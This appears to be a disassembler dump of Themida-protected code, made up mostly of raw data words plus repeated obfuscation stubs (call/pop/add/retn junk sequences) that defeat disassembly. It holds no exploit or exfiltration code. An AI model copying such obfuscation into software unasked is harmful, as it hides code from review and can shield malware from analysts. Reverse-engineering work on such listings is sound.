4245C89h, 4244481h dd 18h, 23C35343h, 4246C19h, 0B59D8B60h, 0B506121Dh, 0E8C161FCh dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0FEFD82C7h, 0BD89D473h, 6120509h, 17759509h dd 0F7660612h, 36BF66E2h, 6AD82BA2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 81D5C357h dd 0BBE7B047h, 9EBFC67Bh, 0BE6650F5h, 1C89D22Dh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 4DBD030Ch, 0FF061203h, 121449B5h, 0C1B52906h, 0FF06122Ch dd 1219CD95h, 0FEB70F06h, 6A00B0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 63E172C3h, 543855BFh dd 0F9864F52h, 0BABE70E6h, 0F3D5A1Fh, 89h, 8171E400h, 58A760EFh dd 0F613C28h, 29F83h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 503CCE0Bh, 0B57EBE66h dd 0B1B58B5Eh, 0E9061234h, 0Dh, 3B77ED22h, 3C42253Ah, 0E372C755h dd 0D8B60F34h, 3B3976BEh, 6BA4Ch, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B3279C3h dd 0B0BF66C3h, 4E8C18Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 68C35646h, 6636E16Fh, 9589FB8Bh, 6122CE5h dd 6AE2F766h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0FFF2C353h, 0FB213702h, 0FDB58B8Ah dd 0E906120Dh, 11h, 0F281C1Bh, 57830D44h, 38CECF0Ch, 67E4B3E7h dd 0E1B58B8Eh, 2B061206h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 6A589FCBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 426BC351h, 0AC1ABF66h, 6820Fh, 0BD8B0000h dd 6120DADh, 880FD82Bh, 16Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0EBC35747h, 0EC0F404Bh, 6744CBFh dd 0DE816671h, 7B9DF68h, 52000000h, 302D8D89h, 835F0612h dd 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0E666BDC3h, 8D0F4Fh, 3B000000h, 5860FD9h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0D4A9C356h, 45D30AEFh, 66FC995Dh dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 6DBD9AC3h, 811DAC47h, 15A98589h, 0C1F60612h dd 9F840F04h, 66000000h, 3005F681h, 13595FFh, 0FB8B0612h dd 6890F5Bh, 8B000000h, 12006DB5h, 6AC32B06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 8C2DC352h, 0C960904Fh, 0FA8B6652h, 8343D5Eh, 860F0000h dd 52h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 3AC35646h, 69BEDFB2h, 31391044h, 1214E98Dh, 32E906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 4A71A7C3h, 0FC809DDh, 0C08BF1BFh, 6810Fh dd 0BD8B0000h, 6120C75h, 0D88BC38Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 4DC35747h, 7DAB23D4h, 820F9F1Bh dd 6, 2D7D9D01h, 10E90612h, 2D000000h, 60904F8Ch, 18F69FC9h dd 8BB39CF3h, 0C7C082F0h, 12204985h, 0A027D306h, 53006A1Ch dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D29606Ah, 612088Dh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0CDF8E1C3h, 68F324B9h dd 0BD81F9A7h, 6121449h, 7D0h, 2B850Fh, 6A0000h, 3E853h dd 5B200000h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop ebx loc_584F4E: ; DATA XREF: ___:00436EFCo mov [esp+4], ebx add dword ptr [esp+4], 17h inc ebx push ebx retn ; --------------------------------------------------------------------------- les esp, [ecx] retf 0FFBBh ; --------------------------------------------------------------------------- test [ecx+14h], ecx adc al, [esi] mov [ebp+612158Dh], edx push dword ptr [ebp+6121449h] mov si, 0CA2Fh call dword ptr [ebp+61219CDh] push 0 push ebx call sub_584F88 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584F88 proc near ; CODE XREF: Themida_:00584F80p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_584F88 endp ; --------------------------------------------------------------------------- dd 71036680h, 68F0Fh, 0DF810000h, 7AF2CCA5h, 9D91CE81h dd 958903D6h, 6122AE9h, 5678B890h, 9D8D1234h, 615E59Fh dd 0FFF8D4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0C18BEBA0h, 25B58960h dd 0E8061215h, 0Ch, 73AF2222h, 0EA93D9B7h, 56AFDF09h, 5E81CE80h dd 0DEBF6661h, 4EBBEh, 8B000000h, 120331BDh, 10E906h, 17F80000h dd 49513003h, 78900CDh, 4977BBE3h, 816612FBh, 8D51E2C6h dd 122E0185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 805ECB6h, 8BA89B52h, 121421B5h, 4DBF5006h dd 897E4C79h, 0BF662404h, 6A5606h, 6A5F51h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1C35242h, 0CB42BA28h dd 0D5BD8B51h, 5E061206h, 8F1EBE66h, 0E7C2858Dh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 816634C3h, 8321B6F7h, 0BD8B05C0h, 61215E1h, 52505150h dd 7E9310Fh, 0AB000000h, 0D8C2B02h, 585A145Bh, 2404895Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0DAC35646h dd 3D0D86C1h, 68A0FE4h, 29000000h, 12132185h, 6A006A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 2692C352h, 6A3BF226h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 89B4887Eh dd 9C19F383h, 0EDBD8BD1h, 0FF061220h, 120DB595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0F6816693h, 9D8D5B57h, 615AF02h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0A2C35141h, 3B28D89Bh, 13BE6695h dd 6AD3FFD4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0A57C355h, 0FE67542Bh, 85FF16B5h dd 6120679h, 0EF0E9h, 0E800h, 815D0000h, 15E7CCEDh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 9B055134h, 26DB58Bh, 0BE660612h, 0BD811EC9h, 6121449h dd 7D0h, 11B860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 364A90C3h, 8B2EC8A7h dd 1223DDB5h, 1D9D8B06h, 0F061205h, 82h, 0E38100h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 8DE9C352h, 14389587h, 1AF99589h, 0F88B0612h dd 850FDB0Bh, 43h, 5BF3BF66h, 0E5F1BD83h, 0F000615h, 1184h dd 55858900h, 0E9061219h, 5Fh, 2A99BD0Bh, 85C70612h, 615E5F1h dd 1, 5159529h, 44E90612h, 0F000000h, 68Bh, 31BD0B00h dd 0C7061200h, 15E5F185h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 6F31ACDh, 0BF6681A9h dd 820F645Ah, 3, 8DFEBF0Fh, 12051D9Dh, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0BF58D8ABh, 18FA62F4h, 0FF2381FCh, 81FFFFFEh, 8CF204D7h dd 0DB8C661Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 92C35343h, 0F6F38B66h, 840F04C3h, 18h, 13595FFh dd 8D290612h, 6121795h, 89FA8B50h, 9D892404h, 6121619h dd 4C8E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 17BF667Eh, 6A00B035h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 4009C353h dd 0B50B70E6h, 6122AC5h, 89E72BBFh, 6A71E47Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 0E7E4C350h, 0BD8B89BFh, 6121F69h, 53D8B60Fh, 6BA5EFCh dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 5CB8C355h, 12E9863Fh, 32000000h dd 1CA8B19Ah, 64ED1127h, 77C35E3Fh, 677739C1h, 0DE81662Bh dd 0C38B4160h, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 5037C357h, 689A5350h dd 0F76636C4h, 6E9E2h, 23970000h, 0C287A43Ch, 6AD82Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0E91017C3h, 6050FC5Ch, 0F525060h, 57585A31h, 8961615Fh dd 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 3E622C3h, 0B5FFFCF1h, 6121449h, 26A5B501h dd 95FF0612h, 61219CDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 24C35747h, 0ADC246E5h, 0B0C33FBFh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 3695CDFCh, 0E5B58BD8h, 0E6061218h, 56006A70h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E984161Ah, 5, 57CC1CDFh, 6A71E4AFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 98C3C356h dd 0FE3FB28h, 830F613Ch, 2D5h, 43F5BF66h, 6AD8B60Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 9886C350h, 10E895h, 230000h, 0C425AC0Fh, 947DFA9Dh dd 67125478h, 8950E79Ch, 122F319Dh, 295E5E06h, 1210A9BDh dd 6BA06h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0EE7123C3h, 8B664995h, 66C38BF2h dd 0C13559BFh, 665604E8h, 7386D781h, 0E2F7665Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 0DB7EF372h dd 661B705Ch, 2BF838BFh, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8BF364A1h, 12166DB5h dd 9D895806h, 6121C09h, 880FD82Bh, 1F5h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 4EC35040h, 0C31DA68Dh dd 0B9F8B7BCh, 7, 2BD9B523h, 83FC0612h, 6A00C1h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 2A9497C3h, 848EABBEh, 0D93BEB75h, 197860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 2E94FBC3h, 610FBF74h, 8C66779Ch, 56006AD9h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4C1F6C1h, 12B840Fh dd 0FC600000h, 2E13EF81h, 8B614B0Ah, 122AC5B5h, 3595FF06h dd 6A061201h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F27C357h, 682h, 0D1B53300h, 5B061234h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E8C35747h dd 0D71B358Fh, 53499F02h, 0BE9h, 0FF0D0800h, 0C43F2AF7h dd 0BCF87AEFh, 6AC32Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9642C7C3h, 72F1DDC2h dd 11E8FDh, 2BDD0000h, 0E749DB91h, 9260734Ah, 52DE4ECAh dd 5EAB2681h, 8343Dh, 72860F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B5CCC356h dd 0E754ABACh, 0CE92Fh, 7D6E0000h, 80F33C60h, 0F49D38Eh dd 0D681475Fh, 565E0C77h, 54E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 816552BAh dd 40AE5BDFh, 9E861h, 7DBE0000h, 35693DB0h, 0FC9617D5h dd 6AC08B5Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0C4DFC353h, 8BC38B0Fh, 0A5B58BD8h dd 0C7061223h, 1222B185h, 11EFBD06h, 57006A5Bh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0EBCA7127h dd 99C772C3h, 159D89AAh, 8B06122Fh, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 49BD817Ch dd 0D0061214h, 0F000007h, 3685h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 79134C62h dd 66A8871Ah, 0BCBEFA8Bh, 0FF675853h, 12144985h, 1BF68106h dd 0FF46BEAFh, 121449B5h, 0D5BD8B06h, 0FF061219h, 1219CD95h dd 13E906h, 0E7470000h, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh dd 44357E45h, 6A4090F3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 103BC355h, 1C6DB04Dh dd 1FC1BD83h, 0F000612h, 0D884h, 0F525600h, 5F5EF9BFh dd 0F6816653h, 835FE1C4h, 120099BDh, 840F0006h, 0BDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7CC35040h, 297ED11Dh dd 0D1FCAC18h, 7DB58B2Fh, 0FF061210h, 121FC195h, 0FA8B6606h dd 840FC00Bh, 81h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 40C35646h, 0B58D8D19h, 0E906124Dh, 0Ah dd 0E24B7DDBh, 0B9AC8374h, 5B831A5h, 0E9000000h, 13h, 0A3EC5472h dd 6BBCF7B1h, 0C369835Fh, 165B5768h, 0FF28C75Bh, 50006AE1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DEEF686Bh, 0E5033A81h, 8166EA4Bh, 296AADC7h, 12013DB5h dd 0D9BD8306h, 61229h, 68B840Fh, 840F0000h, 4, 2665BE66h dd 99BD83h, 0F000612h, 67484h, 4DBD8900h, 8D061217h, 1213718Dh dd 0F58D8906h, 0C7061229h, 0B27C8401h, 57006A44h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8B663E90h, 0CB0181F7h, 6A1499CFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0DC2C350h dd 0C68166C1h, 41C7333Ah, 706B3404h, 8F0F60CEh, 4, 0CFFCB866h dd 29A9B50Bh, 81610612h, 0D7100441h, 6A31D6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 39F45FC3h dd 6A446Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 21C35545h, 0E2B44B2Fh, 0DE937h, 0C0F40000h, 8BE200A0h dd 0FFFD5D81h, 668C2367h, 8DDAC0BFh, 12137185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0F0232BF7h, 89AC7E0Ah, 121F69B5h, 0BE89006h, 7F000000h dd 0AD2C18A9h, 0CEF6DDF9h, 56517801h, 505F5F5Eh, 0FBB70F90h dd 29D995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 9195E6C3h, 0DF81E59Dh, 7D9466C3h dd 13718D8Dh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E8BAE6C3h, 6, 0BCE930EBh, 0C75FEF95h dd 1, 79BD8B00h, 0F061217h, 68Ah, 29952900h, 0C7061203h dd 441h, 0B600000h, 1222B9BDh, 8B606106h, 120DA585h, 6180B106h dd 840FC00Bh, 47h, 9FE8B66h, 1234C995h, 0B58D8D06h, 6A06124Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 6F54C357h, 0C9250B5Dh, 8E9h, 33346B00h, 0D95CD2CDh dd 5B87Ah, 5F520000h, 8DF5E1FFh, 1213718Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8B6223h, 6122CB1h, 0CE9h, 0A860A900h, 4E382E5h, 0BE97E67Eh dd 7C01C70Eh, 6A44AA72h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 6C72C350h, 0EDBD8B37h dd 8106122Ch, 99CFCB01h, 0FE914h, 6A070000h, 6956A086h dd 0B8F1E98h, 943E6A6Fh, 441C763h, 0CE78753Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h, 0D31900BDh dd 9E9h, 0F5E5300h, 38EDBD1Ah, 41816B3Ch, 0D6D71004h, 55006A31h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0B3FE3D8Fh, 8CBF664Dh, 0D18589F6h, 8B061203h, 121D91B5h dd 9006A06h, 1221A1BDh, 71858D06h, 0E9061213h, 8, 0D1F5F31Fh dd 287F6F06h, 0F525050h, 28B0F31h, 60000000h, 89585A61h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0F59F1EC3h, 2C69B58Bh, 95FF0612h, 61229D9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6CC35545h dd 0CE9CAh, 8410000h, 30F36C4Eh, 36656761h, 8D8DF068h dd 6121371h, 4B46E681h, 1C73032h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_585DCF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585DCF proc near ; CODE XREF: Themida_:00585DC7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_585DCF endp ; --------------------------------------------------------------------------- retf 7961h ; --------------------------------------------------------------------------- dw 0BD68h ; --------------------------------------------------------------------------- mov ds:61808C50h, eax mov [ebp+6121D0Dh], esi mov edi, 53C1BA58h mov dword ptr [ecx+4], 0 mov esi, [ebp+6122C39h] mov edi, [ebp+6120479h] or eax, eax jz loc_585E6B mov [ebp+6122C41h], edx lea ecx, [ebp+6124DB5h] push 0 push edi call sub_585E26 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585E26 proc near ; CODE XREF: Themida_:00585E1Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_585E26 endp ; --------------------------------------------------------------------------- dw 7228h dd 5B8C5CEh, 0FF000000h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 5BFE15DCh, 85A06BEFh dd 4D8D8995h ; --------------------------------------------------------------------------- adc dl, [edx] push es loc_585E6B: ; CODE XREF: Themida_:00585E09j lea ecx, [ebp+6121371h] push 0 push ebp call sub_585E7C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585E7C proc near ; CODE XREF: Themida_:00585E74p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_585E7C endp ; --------------------------------------------------------------------------- dd 2B665812h, 32094700h, 1C76EDEh, 54CA95A5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 9FC35242h, 3A9BD0Bh dd 1810612h, 1499CFCBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0AAC35343h, 0D51C96D4h, 0B5E3A968h, 441C759h dd 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0D3C35242h, 6A8EB9B7h, 7C90FBD7h, 5CCE81FCh, 810EDAD1h dd 0D7100441h, 6A31D6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 399209C3h, 6AC80AE2h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8D87BEEEh, 12137185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 54BFDC46h, 29AE22DBh dd 0B5038D68h, 6122A51h, 0BE950h, 255A0000h, 4B190822h dd 1CC24FEEh, 24048941h, 860Fh, 95FF0000h, 61229D9h, 61605060h dd 0F1858B5Eh, 6106120Dh, 13718D8Dh, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 1C7BFC3h dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_585FF3 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585FF3 proc near ; CODE XREF: Themida_:00585FEBp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_585FF3 endp ; --------------------------------------------------------------------------- db 1Fh dd 262CFB53h, 0D68166A8h, 41C72424h, 4, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0DCFAF2FFh, 0B18C913h, 7A840FC0h, 0B000000h, 120489B5h dd 0B58D8D06h, 6A06124Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0AD34C356h, 0DFB70F60h dd 280AC381h, 0FC6164B5h, 5B8h, 61BD8900h, 0FF061204h dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 4A396AD0h, 96FB8D95h, 0B58B6009h, 61222D5h dd 2F599D01h, 81610612h, 0C5E181EEh, 0E9CA032Dh, 0FFFFF11Dh dd 8E9h, 9C1E2700h, 8A10620Ch, 6AC18BADh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A063C350h dd 8D71404Dh, 0EB0CDD1Fh, 4, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B58B7BA6h dd 61206F1h, 2E01858Dh, 0BF0F0612h, 48950FAh, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0C5B58BBAh, 8B061208h, 121CC9BDh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0E09C356h, 818A0CC4h, 22CDBD8Bh, 6A0612h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F9C35343h, 0DACFF8C3h dd 9B3493C3h, 0C5B58B7Ah, 8D061204h, 15F8B385h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 7540B26h, 0E78877C4h, 0C083D943h, 0A5BF9005h, 507D9041h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0BCA117Ah, 6A7D0958h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 235BF286h dd 8D1635E0h, 6A006AFEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 150EC352h, 4D246358h dd 668560FCh, 8E12DE81h, 0DB595FFh, 6A0612h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B0CC67C3h dd 207BCDB2h, 451B523h, 9D8D0612h, 615AF02h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A3C35747h, 14800Fh dd 0EE80000h, 79000000h, 0AB2A2BE0h, 0DCE77BFAh, 0DCF2C10Eh dd 0F08B5EABh, 8166D3FFh, 0FF0BDEE6h, 12067985h, 752E906h dd 0E80000h, 5D000000h, 0F8BDED81h, 0B560615h, 122A4DB5h dd 0BD815E06h, 6121449h, 7D0h, 101860Fh, 0F6810000h, 4CBDD43Bh dd 1CB19D8Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 2E8053C3h, 0E381F3A8h, 100h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h, 0FF7E2FAEh dd 67BE663Eh, 65BD2368h, 0B061229h, 45850FDBh, 66000000h dd 5BF8E681h, 0F6DFBD83h, 0F000615h, 1884h, 8E900h, 0B2470000h dd 777E778Ah, 4FE9C792h, 8B000000h, 121ED5BDh, 0DF85C706h dd 10615F6h, 89000000h, 120DF18Dh, 34E906h, 0BD890000h dd 61212E1h, 0F6DF85C7h, 615h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B513A8C3h dd 7713A289h, 9D8D5D11h, 6121CB1h, 0FEFF2381h, 0BE8FFFFh dd 0F7000000h, 0AF0232Bh, 62AAC7Eh, 85098532h, 6120451h dd 0DDBD895Fh, 66061212h, 0B533DB8Ch, 61216A5h, 0F04C3F6h dd 4184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0A464B4F5h, 0D9B5892Fh, 8906121Dh dd 1209B59Dh, 3595FF06h, 33061201h, 1230D1BDh, 4FBF5006h dd 89768DD3h, 0B9E92404h, 66000003h, 0B00E53BEh, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0D9DD1AAFh, 70E68A19h, 4999589h, 71E40612h, 6AD8B60Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0E90FC353h, 0F91047A1h, 6BA369Ah, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0FCA3C355h, 0B529AE7Eh, 61206D1h, 6AC38Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0A4D91EC3h, 0BF660542h, 0E8C11674h, 333BBF04h, 0F7663469h dd 0A98D89E2h, 2B061234h, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0E02D2768h dd 0D61BEE5Fh, 0CE93751h, 7A000000h, 53DC3AA0h, 8EE32C66h dd 9338FDECh, 0F525050h, 0AE831h, 53300000h, 1712647Ah dd 792A61FDh, 93585A5Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 95C35545h, 81662D87h, 0FF9F9DEEh, 121449B5h dd 38E0F06h, 66000000h, 95FFF98Bh, 61219CDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0E4C35040h, 8B66F858h dd 0BDB58BF0h, 0B0061226h, 6800F00h, 89000000h, 12000D85h dd 37BF6606h, 8170E695h, 735F2AC7h, 6671E44Bh, 0C1B7F681h dd 830F613Ch, 228h, 2AC5BD09h, 0B60F0612h, 6BAD8h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 228A2FC3h, 0F8B70F52h, 8850F5Fh, 56000000h, 21AD9589h dd 8B5F0612h, 99529C3h, 0C106122Ch, 6A04E8h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BF0F76C3h dd 0E2F766FEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0D0C35242h, 94C7FB3h, 120991BDh, 6AD82B06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 1E5C350h, 122F89B5h, 0BF665806h, 0D82B20AEh, 166880Fh dd 11E90000h, 97000000h, 0DAF60124h, 2DAA3454h, 15F935E5h dd 6D30AFE9h, 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0F72625A6h, 0BF25E91Bh dd 0C18390E7h, 81BD8B00h, 3B061205h, 15860FD9h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B454C355h, 0AECC6565h, 0F2B70F33h, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 5C6EC351h, 23857E15h, 7E8506Ah, 0EC000000h dd 91DE411h, 